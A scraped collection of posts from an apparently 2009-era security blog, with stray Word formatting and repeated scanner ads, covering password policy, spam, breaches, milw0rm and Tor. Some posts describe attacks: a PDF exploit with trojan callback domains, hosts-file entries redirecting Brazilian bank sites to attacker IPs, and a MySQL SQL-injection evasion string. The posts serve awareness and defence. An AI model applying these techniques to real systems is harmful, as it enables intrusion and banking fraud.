Normal.dotm 0 0 1 18 107 1 1 131 12.0 0 false 18 pt 18 pt 0 0 false false false /* Style Definitions */ table.MsoNormalTable {mso-style-name:”Table Normal”; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:”"; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin:0cm; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:”Times New Roman”; mso-ascii-font-family:Cambria; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:”Times New Roman”; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Cambria; mso-hansi-theme-font:minor-latin;} #3 Do not open PDF documents from unknown sources AND received unexpectedly.
What this means?
If you don’t know the sender who is sending you file attachments there is always a risk that you are a victim of targeted attack. Remember that the sender can be easily spoofed as well.
Normal.dotm 0 0 1 127 729 6 1 895 12.0 0 false 18 pt 18 pt 0 0 false false false /* Style Definitions */ table.MsoNormalTable {mso-style-name:”Table Normal”; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:”"; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin:0cm; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:”Times New Roman”; mso-ascii-font-family:Cambria; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:”Times New Roman”; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Cambria; mso-hansi-theme-font:minor-latin;}#4 Switch to alternative PDF reader.
There are many free and commercial products. However, they are often affected by Adobe vulnerabilities too and a patching policy is needed when switching to another product.
What this means?
Changing the PDF reader in large organization is not an easy move. Today is a good day to start the planning project.
Let’s talk about technical details with some words. The vulnerability exists in Doc.media.newPlayer method. The Trojan in these attacks generated connections to http: // foruminspace dot com and http: // newsplaza dot net (these servers are located in Malaysia).
AV vendors use the following names when detecting the malicious PDF document:
Exploit.JS.Pdfka.atq (Kaspersky)
Exploit:W32/AdobeReader.UZ (F-Secure)
Exploit-PDF.ag (McAfee)
PDF/Pidief.NQ (CA)
Trojan.Pidief.H (Symantec)
TROJ_PIDIEF.PGS (Trend Micro)
Troj/PDFJs-FS (Sophos)
The size of the infected PDF document is 400,918 bytes. The file name varies, but it can be note200911.pdf, note_20091210.pdf or Outline of Interview.pdf.
-
Let the experts make sure your website is safe. Vulnerability Assessment is the answer.
Occasionally, I see articles like this.
Hackers don’t, as a rule, need to go to such lengths to crack passwords. That’s because most of us fail to follow good security habits. A recent article on PhysOrg cites a study that found people are the weak link in computer security.
This is silly. People don’t need to “follow good security habits” unless they have “security” somewhere in their title. Security is a means to an end, and not the target. The target is to get the job done (or surf the web, or read your emails).
Saying this is not just silly - it’s also dangerous. When experts say “people are the weakest link in computer security”, they remove all responsibility from the security industry to make security better, and easier, for users. Why work on preventing brute-force attacks on passwords? Instead lets force our users to choose a 10 character password including at least 1 number and 1 letter of each case. Oh, and lets prevent those walking security hazards from saving the password in the browser on their malware infested machines. Yeah, that’ll teach them. The article over at discovery.com suggests I use e$4WruX7 as a password - a most helpful advice if I ever saw one. Here’s a better suggestion for you Jonathan: have the system lock out for 24 hours after 3 failed tries.That will make guessing a simple 6 digit-only PIN take more than 450 years.
Enough with this. Users are not the weakest link any more than drivers are the weakest link in driving accidents. Sure, if we remove users (or drivers) from the equation, that solves all our problems. But since we can’t do that, lets focus on making seat belts, and airbags, and warning systems. Or easier (not harder!) password systems, better protected servers and better user interface.
-
Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!
Wikileaks has released hundreds of thousands pager messages from 11th September, 2001.
Link: 911.wikileaks.org/
Listings say that the messages are sent in networks of Arch Wireless, Metrocall, and SkyTel.
-
Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!
Here’s a weird spam I got last night:
Hello
The route taken through Customs is mainly determined by your point of departure and whether you are bringing into the country more duty payable goods than your free allowance. For those passengers who have flown in from outside the European Community (EC), their baggage will have a white tag and they must pass through either the Red or Green channel according to the amount of duty free goods they have. Those passengers arriving from countries within the EC should use the Blue channel, and their baggage will have green-edged tag.
As part of our routine check and based on the above, we have a consignment in your name; you are advised to come to the office address below
Customs office
Terminal 3
Heathrow AirportYou are required to come with the following:
1. Your ID
2. Diplomatic Tag either white or green-edge tag.
3. Non Inspection documentYour appointment time is 10am GMT, failure to comply; we will have over the matter to Metropolitan and the FBI. I am the officer in charge of your matter.
Thomas Smith
UK Customs
Heathrow Airport
It’s weird, because it contains no advertisement, and no links. There’s nothing “encoded” in it - it seems to be an old version of this notice.
So why would a spammer waste valuable botnet cycles on sending me the email? The only explanation I could come up with is “a boy who cried wolf” attack. You send this email a few times, and the Baysian filtering systems train themselves that this is a good email (i.e. “ham”). Most Baysian spam filtering systems have a loopback mechanism where spam email is used to train the system further, and ham email is used to teach the system what “good” email is. If this email is seen a few times and considered ham, spam filters will accept something similar to it that contains a link. That link, can be the spam or phishing attack.
Another guess is that it’s simply used to verify email addresses - you read that a scary Customs agent from Heathrow wants you in his office first thing tomorrow morning, and you quickly reply to ask what it’s about; the spammer (whose reply-to address is different than the “From”) gets a confirmation that your email address is valid, maybe with some more details like your phone number. This is a plausible explanation but it seems like too much hard work just to get some valid email addresses.
Any other guesses?
-
Let the experts make sure your website is safe. Vulnerability Assessment is the answer.
Are you up for the challenge?
This week Mozilla launched the security quiz on Facebook. We encourage you to take the quiz and see how much you know about web security!
Similar to our plugin checker, the security quiz is a part of our larger effort to raise awareness about web security.
Help us spread the word and make the web safer for everyone. And don’t forget to check your plugins!
I’m in New Delhi, for the local OWASP Conference. There’s a really nice lineup and if you’re in the New Delhi area I highly recommend attending.
I’ll be speaking twice. On Tuesday about blackbox testing. The abstract can be paraphrased from the immortal words of the great fuzzing master Ice-T:
If you’re from Mars, and you have inputs, we will fuzz you.
(Look up the original text, I guarantee it’s worth it)
On Wednesday I’ll be talking a bit about breaking JSON applications, relying on the great research done by Amit Klein, Blueinfy, Jeremiah Grossman, Fortify, and many others.
If you spot any errors in either of my presentations let me know and I will buy you a beer. This offer does not include anything stupid I say while on a discussion panel…
-
Is your site safe from SQL Injection? Website Security Audit is the way to protect your network!
Following up on the Flash Detection on the What’s New page, we are developing an upgrade to the Plugin Finder Service (PFS2).
We could use your help! Please hit our testing server’s Plugin Check. We will be able to capture information about plugins and help fill-out the PFS2 database. See an issue? Look through current bugs and leave feedback in Bugzilla.
Screenshot of plugin detection
Some plugins don’t expose a good version number in the description, but can be detected by instantiating the plugin. We’re using Eric Gerds’ PluginDetect for this type of plugin.
On the other hand, kudos go to Microsoft’s Silverlight team for the following information: name=”Silverlight Plug-In” description=”3.0.40818.0″. That’s exactly what we need to identify when a Plugin has fallen out of date. If a vulnerability is discovered and published against 3.0.40818.0, we can alert the user to pick up the newest version.
It’s very fast and easy for us to detect your release version, when the proper information is provided by the plugin. Doing so is a win for you and your users. We’ll be encouraging Firefox users to keep their plugins updated to the latest and greatest. This means better distribution and lower support costs for you. We’re contacting many vendors right now to make this happen.
Firefox 3.6 is going to be adding enhancements to the way Plugin information is exposed to JavaScript. We’re looking forward to how this will simplify this task.
Interested in the code under development? Check out PFS2 server, PFS2 client and of course Mozilla.com where it will eventually live.
Update 10/3 @12:50 PDT: Thanks to everyone who has filed bugs! Additionally, here is the list of Plugin states, copy, and links. This is going to change, based on your feedback, but I think it will help the discussion.
| Status | Copy | Button | Link |
|---|---|---|---|
| Unknown Plugin | N/A we don’t display anything | N/A | N/A |
| Current | You’re Safe | Learn More | Vendor URL |
| Old or Unknown Release | Potentially Vulnerable | Update | Vendor URL |
| Old with Known Exploit | Update Now | Vulnerable | Vendor URL |
| Current with Known Exploit | Vulnerable No Fix | Disable Now | #disable-now |
I think the consensus is that the copy for Current and Old send the wrong message.
What happens when an irresistible force meets an immovable object? We might all have a chance to find out.
In the last baysec I learned that handling credit card transactions in the cloud automatically makes you non-compliant with PCI. Assuming:
1. PCI is here to stay (”an immovable object”)
and
2. ‘Everything’ will move to the cloud (”an irresistible force”)
We reach a paradox.
Did the gods of security create a stone they cannot lift?
-
Let the experts make sure your website is safe. Vulnerability Assessment is the answer.
As part of some research into the security risks of social networking, I did an ego search on myself. (Hey, it’s legitimate research, all right?)
On Altavista, the first hit was the Wikipedia page someone created about me. The second result was [www.robertslade.com] which I hadn’t known existed. As well as correctly listing his published books, this page informed him that me that I was mentioned on the Wikipedia entry for the RISKS-Forum Digest (which is a definite ego boost). It also provides a photograph of someone else. As well as two pictures I didn’t take, and three videos I have nothing to do with. Two different boxes provide links to buy books, some of which are mine, and most of which aren’t.
I expected to find entries that weren’t me: I know there are a lot of Robert Slades on the net. But it’s a bit weird to find out that there is a domain about me that I didn’t know about.
I also found the church I’m buried in, so currently I’m not feeling too great …
-
Is your site safe from SQL Injection? Website Security Audit is the way to protect your network!
Popular brazilian websites under attack. Again.
This time the target was Vivo ([www.vivo.com.br]) and the attack was reported by Miguel Di Ciurcio Filho, a security researcher from Institute of Computing, Campinas State University - Unicamp (site, personal).
In short:
69.162.114.180 santander.com.br 69.162.114.180 www.santander.com.br 69.162.114.181 itau.com.br 69.162.114.181 www.itau.com.br 69.162.114.181 www.itau.com 69.162.114.181 itau.com 69.162.114.181 itaupersonnalite.com.br 69.162.114.181 www.itaupersonnalite.com.br 69.162.114.182 www.bradesco.com.br 69.162.114.182 bradesco.com.br 69.162.114.182 www.bradesco.com 69.162.114.182 bradesco.com 69.162.114.182 www.bradescoempresa.com.br 69.162.114.182 bradescoempresa.com.br 69.162.114.182 www.bradescoprime.com.br 69.162.114.182 bradescoprime.com.br 69.162.114.182 bradescocartoes.com.br 69.162.114.182 www.bradescocartoes.com.br 69.162.114.179 www.nossacaixa.com.br 69.162.114.179 nossacaixa.com.br
Simple but effective attack. According to a script in another vulnerable website used in this attack thousands of users were infected.
-
Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
As the Wordpress team scramble around trying to resolve the latest set of security issues, and doing all the wrong things like giving their users a 14-step process for upgrade, the following Jewel came up:
4. WordPress is Not Secure: WordPress is incredibly secure and monitored constantly by experts in web security. This attack was well anticipated and so far, WordPress 2.8.4 is holding. If necessary, WordPress will immediately release a update with further security improvements. WordPress is used by governments, huge corporations, and me, around the world. Millions of bloggers are using WordPress.com. Have faith they are working overtime to monitor this situation and protect your blog.
This is funny on so many levels.
(HT: Jericho, AKA security curmudgeon)
-
Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!
It won’t surprise you if I say the achilles heel of the Internet is passwords. But the problem is not that our passwords are too weak: in fact, the bigger problem is that our passwords are too strong.
Preventing brute force password attacks is a problem we know how to solve. The problem is that web service providers have bad habits that cause our passwords to be less secure. Remember the saying “the chain is only strong as the weakest link?” If you are strengthening an already strong link in the chain but weakening another, you are not improving security and usually decreasing the overall security of the system. Those “bad habits”, mostly of web services that require a login, are all wrapped in supposedly ’security concerns’: meaning some security consultant fed the CSO a strict compliance document and by implementing these rigid security methods they are actually making their users less secure.
Here are some examples.
Don’t you remember who I am?
What’s the easiest way to fight phishing? Have the web site properly identify itself. When the bank calls, most people don’t ask the person on the other side of the line to prove they are really from the bank (though they really should). The reason is you assume that if they knew how to reach you, they are indeed your bank.
So why not do the same for phishing? The bank of America uses Sitekey, which is a really neat trick. But you don’t have to go that far: just remember my username and I’ll have more confidence that you are the right web site. In fact, if I see a login page that does not remember my username I’ll have to stop and think (since I typically don’t remember all the usernames) and that gives me more time to spot suspicious things about the page.
If you can tell me what my username is, there are higher chances you are the legitimate site. But some sites block my browser from remembering my username, on the excuse of increasing security. Well, they’re not.
Let me manage my passwords
This is where most financial sites really fight me - they work so hard to prevent the browser from remembering my passwords.
Why? I can see the point when I’m on a public terminal. But what if I’m using my own laptop? By letting my browser remember the password I am decreasing the chance of phishing, and in fact if I know for certain a web site will let me remember the password (rather than force to type it in) I select a strong, complicated password - since I don’t have to remember it. In some cases I even stick with the random-assigned password; I don’t care as long as my browser remembers it.
But some people are stuck with “security!=usability” equation. They are wrong; in many cases usability increases security. This is one of those cases.
Not to mention they will almost always lose the fight. If paypal won’t let firefox remember the password, I’ll find ways around it. Or maybe I’ll just write a post-it note and put it on my monitor. All of those ways are less secure than firefox’s built-in password manager.
Oh, and forcing me to choose a strong password (’strong’ being something absurd and twisted that makes no security sense)? Good luck with that. I don’t really mind these silly efforts just because they are so easy to circumvent they are not even a bother anymore. But just remember that putting security measures in place that will be circumvented by 90% of your users means teaching them not to take your security seriously.
Stop blocking me
Next week I will have my annual conversation with the Lufthansa ‘frequent flyer’ club support people. It’s a conversation I have at least once a year (sometimes more) when my login gets blocked.
Why does my login get blocked? Because I get the password wrong too many times. What’s “too many”? I wish I knew. Since I usually pretty much know what my password is, I get it right within 4-5 tries, so I guess Lufthansa blocks me after 3 or 4. I don’t know for sure, because I also need to guess my username (long story, lets just say Lufthansa has 2 sets of usernames and passwords and you need to match them up correctly). So the bottom line is that I get routinely blocked and need to call their office in Germany to release it.
Why are they blocking me? I’m guessing to prevent brute-force password attacks, and that’s a good thing. But why not release it automatically after a day? A week? An hour? Why not authenticate me some other way (e-mail)? I bet I can guess why: Because everybody that complains is told that “it’s due to security concerns”. Nobody can argue with that, can they? After all, security is the opposite of usability. Our goal as security professionals is to make our services not work, and hence infinitely secure.
So Lufthansa is losing my web site visit, which means less advertising money, and they are making me agitated which is not the right customer retention policy. Some credit card issuers like to do this a lot, which means I can’t login to see my credit card balance and watch if there is any suspicious activity. Now that’s cutting your nose off to spite your face.
Don’t encourage me to give out my password
How many web sites have my real twitter password? Must be over half a dozen, maybe more. If you are using any twitter client, you have given them your twitter username and password. If you are using twitterpic, or any of the other hundreds of web 2.0 that automatically tweet for you, they have your login credentials. Heck, even facebook has my twitter credentials - I bet Facebook can flood twitter in an instant if they decide to fight dirty.
Twitter wants me to use all these clients because it raises my twitter activity, and that’s ok. But there are plenty of single-sign-on methods out there, that are not too complicated, and are all more secure than spreading my real username and password all over the place. Even Boxee has my twitter login, which makes me think. If I was building a web 2.0 service and asked everyone who opens an account to give me their twitter login details - how many would do that just out of habit?
Giving my credentials is not necessarily a bad thing. Services like mint and pageonce are good because they make it unnecessary for me to login to all my financial web sites; the less I login the better: assuming these sites have better security than my own computer, I’d rather have them login to my financial accounts than me. This leap of faith is not for everyone - some will ask what happens if these startups go out of business. Cybercrime experts like Richard Stiennon will argue that an insider breach in one of those companies can be devastating. And of course Noam will say that until they’ve been scanned by Beyond Security he won’t give them any sensitive information. I agree with them all, and yet I use both Mint.com and PageOnce. So I guess it boils down to a personal judgment call. I personally think there’s value in these type of services.
Stick with passwords
One thing I am almost allergic to, is the “next thing to replace passwords”. Don’t give me USB tokens or credit-card sized authentication cards. SMS me if you must, but even that’s marginal. Don’t talk to me about new ideas to revolutionize logins. A non-trivial password along with a mechanism that blocks multiple replies (blocks for a certain period of time, not forever - got that Lufthansa?) is good enough. It’s not foolproof - a keylogger will defeat all of those methods, but those keylogging Trojans are also capable of modifying traffic so no matter what off-line method you use for authentication, the transaction itself will be modified and the account will be compromised. So Trojans is a war we have lost - lets admit that and move on. Any other threat can be stopped by simple and proper login policies that do not include making the user wish he never signed up for your service.
There are other password ideas out there. Bruce Schneier suggests to have passwords be displayed while typing them. I think that makes absolutely no sense for 99% of the people out there, but I do agree that we are fighting the wrong wars when it comes to passwords, and I think fresh thinking about passwords is a good thing. The current situation is that on one hand we are preventing our users from using passwords properly, and on the other hand we leaving our services open to attack. That doesn’t help anyone.
-
Expose the security holes in your products during development. Black Box Testing makes it safer!
Here’s something that’s been bugging me for a while. Twitter is a very open platform - there are probably hundreds of “entry points” through various APIs and clients. It is also very simple - which is what makes it powerful; basically you put your text into their database, and others view it according to a search they do (either explicitly, or implicitly - by following you or monitoring for @ replies).
So given this wealth of entry points, and simplicity, why aren’t we seeing twitter flooded with spam? I’m not talking about the occasional spammer following you in hopes that you follow them back and get exposed to their spam - I’m talking about a massive spam attack including your twitter name (so it shows when you look for @ replies), including hash tags for all trending topics, and generally - flooding twitter at the rate we are seeing with email messages?
After all, the multitude of entry points makes it more difficult to block it from entering than email, and the simplicity of the protocol makes it difficult to filter or block.
I know the twitter team is putting efforts into blocking and filtering spam, but I find it hard to believe they are successfully blocking virtually all spam attacks. Spammers tend to be sophisticated, and I’m pretty sure they watch Opera, too - they must know what twitter is.
Am I missing something?
-
Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!
This system has had some discussion in the forensics world over the past few days. Here’s an extract from Science Daily:
“Computers have made it virtually impossible to leave the past behind. College Facebook posts or pictures can resurface during a job interview. A lost cell phone can expose personal photos or text messages. A legal investigation can subpoena the entire contents of a home or work computer. The University of Washington has developed a way to make such information expire. After a set time period, electronic communications such as e-mail, Facebook posts and chat messages would automatically self-destruct, becoming irretrievable from all Web sites, inboxes, outboxes, backup sites and home computers. Not even the sender could retrieve them.
“The team of UW computer scientists developed a prototype system called Vanish that can place a time limit on text uploaded to any Web service through a Web browser.
[Perhaps a bit narrower focus than the original promise, but it is a prototype - rms]
“After a set time text written using Vanish will, in essence, self-destruct. The Vanish prototype washes away data using the natural turnover, called “churn,” on large file-sharing systems known as peer-to-peer networks. For each message that it sends, Vanish creates a secret key, which it never reveals to the user, and then encrypts the message with that key. It then divides the key into dozens of pieces and sprinkles those pieces on random computers that belong to worldwide file-sharing networks. The file-sharing system constantly changes as computers join or leave the network, meaning that over time parts of the key become permanently inaccessible. Once enough key parts are lost, the original message can no longer be deciphered.”
However, given the promise to clean up social networking sites, and as I started to read the paper, an immediate problem occurred to me. And, lo and hehold, the authors admit it:
“We therefore focus our threat model and subsequent analyses on attackers who wish to compromise data privacy. Two key properties of our threat model are:
1. Trusted data owners. Users with legitimate access to the same VDOs trust each other.
2. Retroactive attacks on privacy. Attackers do not know which VDOs they wish to access until after the VDOs expire.
The former aspect of the threat model is straightforward, and in fact is a shared assumption with traditional encryption schemes: it would be impossible for our system to protect against a user who chooses to leak or permanently preserve the cleartext contents of a VDO-encapsulated file through out-of-band means. For example, if Ann sends Carla a VDO-encapsulated email, Ann must trust Carla not to print and store a hard-copy of the email in cleartext.”
So, this system works perfectly. If you only communicate with people you trust (both in terms of intent, and competence), and who only use the system properly, and never use any of the information in any program that is not part of the system, it’s completely secure.
How often have we heard that said?
The default to privacy aspect is interesting, and the automatic transparency for the user as well, but this simply moves the problem one step back, as it were. In terms of utility to social networking, the social networks would have to be completely rewritten to adher to the system, and even then it would be pretty much impossible to ensure that nobody would have the ability to scrape data and keep or publish it elsewhere.
(Plus, the data is still there, and so is Moore’s Law …)
-
Expose the security holes in your products during development. Black Box Testing makes it safer!
God bless the law that forces companies to disclose when they are hacked and customer information is compromised. Not only do we get a chance to protect ourselves but it also reminds us that this apparently happens more often then we would think.
This time it’s elance.com:
Dear (my account name),
We recently learned that certain Elance user information was accessed without authorization, including potentially yours. The data accessed was contact information — specifically name, email address, telephone number, city location and Elance login information (passwords were protected with encryption). This incident did NOT involve any credit card, bank account, social security or tax ID numbers.
We have remedied the cause of the breach and are working with appropriate authorities. We have also implemented additional security measures and have strengthened password requirements to protect all of our users.
We sincerely regret any inconvenience or disruption this may cause.
If you have any unanswered questions and for ongoing information about this matter, please visit this page in our Trust & Safety center: http://www.elance.com/p/trust/account_security.html
For information on re-setting your password, visit: http://help.elance.com/forums/30969/entries/47262
Thank you for your understanding,
Michael Culver
Vice President
Elance
What I would like to see, is what “additional security measures” are they really taking. Also (and I’ll admit I have a one-track-mind) did they do a proper security scan to ensure the servers don’t have any holes? What were the results?
-
Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!
Comerica bank seems to think disclosing cross site scripting vulnerabilities in the bank’s web site is illegal:
“Comerica hereby demands that the above-referenced Subject Site be shut down immediately and that the identity of the account holder be provided to the undersigned.
Comerica’s demand is based upon the fact that the Subject Site is designed to enable that subscriber and anyone else viewing the site to take actions to attempt to impersonate Comerica to its customers”
(full document here)
No Comerica, it’s not the “how to use Comerica com to phish their customers” that enables that, it’s comerica.com that enables that. But at least I finally know why I’m receiving a flood of Comerica phishing emails in the last few weeks (I haven’t even heard of the bank before then).
Needless to say, they haven’t fixed the problem. Of course, for them the problem is not that phishers can attack Comerica bank customers but that somebody is saying it out loud.
(more pictures here)
(via @lancejssc)
-
Is your site safe from SQL Injection? Website Security Audit is the way to protect your network!
Gloria pointed out an article in the Vancouver Sun and, just in case it disappears in a few days, I found the author’s blog.
The main thrust of the article is on the risk/benefit of a lack of privacy, as practiced in social networking. This (absent the social networking) reminded me of David Brin’s “The Transparent Society,” and if you haven’t read it, I recommend it.
-
Expose the security holes in your products during development. Black Box Testing makes it safer!
It’s nice to have milw0rm around: http://www.milw0rm.com/exploits/9137.
Be careful out there, firefox 3.5 users.
-
Let the experts make sure your website is safe. Vulnerability Assessment is the answer.
Seems like milw0rm will stay up for the near future. In an email from Str0ke, he wrote:
Way to[o] many people unhappy with me over the
idea of closing shop. I just needed help which I have alot of people to choose from now
So the good news, is that we’ll still see milw0rm posting information. But for all of you who were disappointed by milw0rm almost closing: if you want to see it stay open, here’s your chance to help. Just write to str0ke and offer him help - managing a vulnerability database is one of the best ways to gain expertise and learn the field. Plus, you’ll be helping a valuable resource, and making friends along the way.
From a personal experience, I can very much recommend it. We started our own vulnerabilities database much like milw0rm a while back, and it gave us the expertise to build a vulnerability scanner, a fuzzer, and build a profitable business while having fun doing it. So much so, that the original SecuriTeam team is still actively working on editing and posting information.
So whether you are looking to sharpen your skills for fun or want to give a boost to your professional career, I highly recommend joining milw0rm (do it now, while str0ke is still accepting applications!)
-
Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!
Just thought I’d bring it up since there has been prolific chatter on the lists lately…
-
Expose the security holes in your products during development. Black Box Testing makes it safer!
I saw a message from Jericho giving his goodbyes to str0ke, and had to see it for myself. Indeed:
Well, this is my goodbye header for milw0rm. I wish I had the time I did in the past to post exploits, I just don’t
. For the past 3 months I have actually done a pretty crappy job of getting peoples work out fast enough to be proud of, 0 to 72 hours (taking off weekends) isn’t fair to the authors on this site. I appreciate and thank everyone for their support in the past.
Be safe, /str0ke
We all hope it’s just temporary and str0ke will bounce back. And if that doesn’t happen, hopefully someone else will pick it up and continue. It’s a thankless job of tedious work but it gives “the good guys” a fighting chance by putting together in an organized manner things that are already know to the bad people out there.
Hopefully this is not a farewell, but if it is, milw0rm will be missed.
Readers: If you have suggestions for good exploit archives (other than this exploit archive, of course) that should go on the bookmark list where milw0rm was, please post in the comments below.
Update: Good news. As several of you noted, str0ke decided to keep on going. More information here.
-
Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!
Somebody had to do it, and I’m glad it’s Aviv Raff who finally went for it. This is just the first of what I’m sure will be many twitter-related vulnerabilities.
There’s a lot to check in twitter, and I’m sure this will be an interesting month. While Aviv is bringing home the meat, here’s a question to ask yourself in the meantime: How many web services have your twitter password? More than 5? More than 10? How many of them are still active and what happens if one of them goes bankrupt and sells the list to someone?
Update: apparently this was fixed after a few hours. The power of “Month of Bugs” I guess.
-
Is your site safe from SQL Injection? Website Security Audit is the way to protect your network!
A few years ago, the personal blog of the Iran president Ahmadinejad included a special piece of malware code that would only be displayed for Israeli IP addresses, attempting to infect Israeli machines visiting the site while preserving a seemingly harmless appearance for any western visitor that is not an Israeli. I thought that was quite a clever attack at the time.
But now the Iraqis are flexing their cyber-muscles too. According to a Hebrew article in law.co.il (this is not yet available on their English site, but may be soon), several domain names of Israeli government entities and large Israeli institutions have been registered by users outside Israel, some users having addresses in Iraq.
These domains use names with Hebrew characters, which are now available under the IDN. However, the method of typing Hebrew domain names is not in wide use and companies still prefer the English domains with the .il or .com suffix, which is why those Hebrew domains were available for purchase. Some of the domain names that were purchased include the Mossad, the Shabak (the “Shin Bet”), the IDF, Israel Police, Knesset, and several major banks.
Since the domain name is in Hebrew and contains the full name of the company or institution, it is incredibly useful for phishing attacks. law.co.il traced many of the domain names, particularly those of major ministries and public service names to a company called “ICU Agency” with a registered address in Baghdad. I’m sure there are other clever uses for such domains in war time that exceed simple phishing. With the speed in which news travel on the Internet these days, it shouldn’t be difficult to do some psychological warefare if you own “credible” domain names.
-
Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
I saw a demo of Green SQL today, and during the demo Yuli showed me a cute sql-injection method for mysql that I’ve never seen before.
This will evade some IDS’s and is also a good reply for the web development if they tell you filtering the words “OR” and “AND” is enough as a generic SQL-injection protection.
It’s not “new”, but it was new to me. The idea is to place two equal signs inside the query so that the query becomes:
SELECT * FROM users WHERE column=’b’=’c’
More information and a very detailed explanation here. It seems to be specific to mysql.
-
Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!
Over the past few days, both the Vancouver Sun and the Ottawa Citizen have published (basically the same) story about “Toronto-based Ancestry.ca.” From the articles, this appears to be related to such public institutions as the national archive and Library and Archives Canada. And the price is right: “A two-week free trial period that began June 10 allows users to search for and download documents at no charge.”
I tried it out. Giving minimal information about him brought up over 6,000 hits, the second of which was my grandparent’s marriage certificate. Pretty good.
Unfortunately, that is not the whole story. If you want to actually see anything that the search finds, you have to register. And, if you pay attention, and actually read the “Terms and Conditions” (and look at the full screen, not the portion that shows when the box first pops up), you find that you are registering with “an Internet service (the “Service”) owned and operated by The Generations Network, Inc, an American company incorporated in Delaware, USA, and whose registered address is 360 W 4800 N Provo, UT 84604, USA.” In order to register you have to provide a credit card. After 14 days (and it isn’t clear whether that is 14 days after June 10, or 14 days after you register) “[i]f you wish to terminate your subscription you must notify us at least two (2) days before the Renewal Date by calling (800) 958-9073 Member service is available from Monday to Friday 7:00 am to 4:00 pm MST, or by sending an email to cancel@ancestry.ca providing the following information: Given name and surname, Username, Subscription type (UK/Ireland collection, etc.), Email address used when subscribing, Phone number including country code, Country. If you fail to respond to the notice, your subscription will be automatically renewed,” and, of course, your credit card will be charged.
So, read carefully, people. Are you dealing with a public institution, or a private company? Are you dealing with a company in your country, or another? And, is your “free trial” an “opt-out” contract for the company to start billing your credit card?
-
Expose the security holes in your products during development. Black Box Testing makes it safer!
The T-mobile data breach that jbrown wrote about has been confirmed by T-Mobile.
I guess not everything you read on Full Disclosure is fake after all…
-
Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
Open Security Foundation’s DataLossDB has announced the winners of oldest incident contest.
One of the oldest documented issue is TRW incident from 1984, when the database of credit history of 90 million American citizen was breached.
Link here.
Update: The winner is an incident from August 1953, when SSN’s were lost.
-
Let the experts make sure your website is safe. Vulnerability Assessment is the answer.
According to ITWorldCanada, C-level executives are pushing for greater access to social networking sites and facilities, while even IT managers and security specialists are unprepared to deal with the full range of risks from this type of activity.
In order to get some traction with senior management on this issue, you might want to remind them that, when they take off with funds they’ve obtained via fraud, it’s best not to post boasts on Facebook.
-
Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
It seems I get this IN MY INBOX everytime I post…
We have received your request to join the puitika
group hosted by Yahoo! Groups, a free, easy-to-use community service.
This request will expire in 7 days.
TO BECOME A MEMBER OF THE GROUP:
1) Go to the Yahoo! Groups site by clicking on this link:
[groups.yahoo.com]
(If clicking doesn’t work, “Cut” and “Paste” the line above into your
Web browser’s address bar.)
-OR-
2) REPLY to this email by clicking “Reply” and then “Send”
in your email program
If you did not request, or do not want, a membership in the
puitika group, please accept our apologies
and ignore this message.
Regards,
Yahoo! Groups Customer Care
Your use of Yahoo! Groups is subject to [docs.yahoo.com]
-
Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!
This post was written because a very good friend of mine asked me to send them a mail about decent reasoning to use Tor, and explore the Onion net, so thank you (you know who you are), and this post will be followed by another more detailed post on the Onion net soon.
Okay, so with all that’s been going on in the world lately, I’m starting to think that we should really start moving things underground, by underground, I mean that we should start encrypting our traffic more, and making use of the means that we have available to us, and helping to support them more as a security community.
The things in the world that I’m referring to are not only UK based either, here are a few examples:
Directive 2006/24/EC Of The European Parliament And Of The Council
It seems that we are seeing more and more of the worlds governments moving towards an Orwellian culture, and I for one really don’t feel comfortable operating in this way.
You may be asking yourselves at this point, what can we do to stop this, the honest answer is, really not that much right now.
We can however start to move our information systems somewhere else, somewhere more secure, and we can all help others to secure their online habits by setting up Tor relays.
The more relays the Tor network gets, the better it is for everyone involved, if you can’t configure a relay, or just don’t want to, then if at all possible, please dontate to the Tor project here.
So please people, if you value your privacy at all, please help the Tor project out in any way that you can, even if it’s translating articles.
Below are a few links that you may find useful:
This may seem like a shameless Tor plug, but I can assure you that it’s not, and I am in now way related to the Tor project at this point in time, but I really feel that it’s an extremely worthwhile project, and I plan on getting a lot more involved. This project has come a long way in the 2 years that I’ve been using it, and the more users we get contributing the better the anonymity and speed gets.
Keep it safe and private people.
-
Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!
Dinosaur that I am, it never occurred to me that long URLs were a major problem. Sure, I’d gotten lots that were broken, particularly after going through Web-based mailing lists. But you could generally put them back together again with a few mouse clicks. So what?
So the fact that there were actually sites that would allow you to proactively pre-empt the problem, by shortening the URL, came as a surprise. What was even more of a surprise was that there were lots of them. Go ahead. Do a search on “+shorten +url” and see what you get. Thousands. [bit.ly] [tubeurl.com] [www.shortenurl.com] [urlzoom.org] [ayuurl.com] [urlsnip.com] [url.co.uk] http://metamark.net/ [8ez.com] [notlong.com] [shorten.ws] http://myurl.si/ [dwindle.me] [nuurl.us] [myurlpro.com] [2url.org] http://tiny.cc/
I would not, by the way, advise visiting that last. .cc is a domain used by those on the dark side. In fact, I wouldn’t recommend visiting many of those: I have no idea where they came from, except that a search pops them up. Which is part of the point.
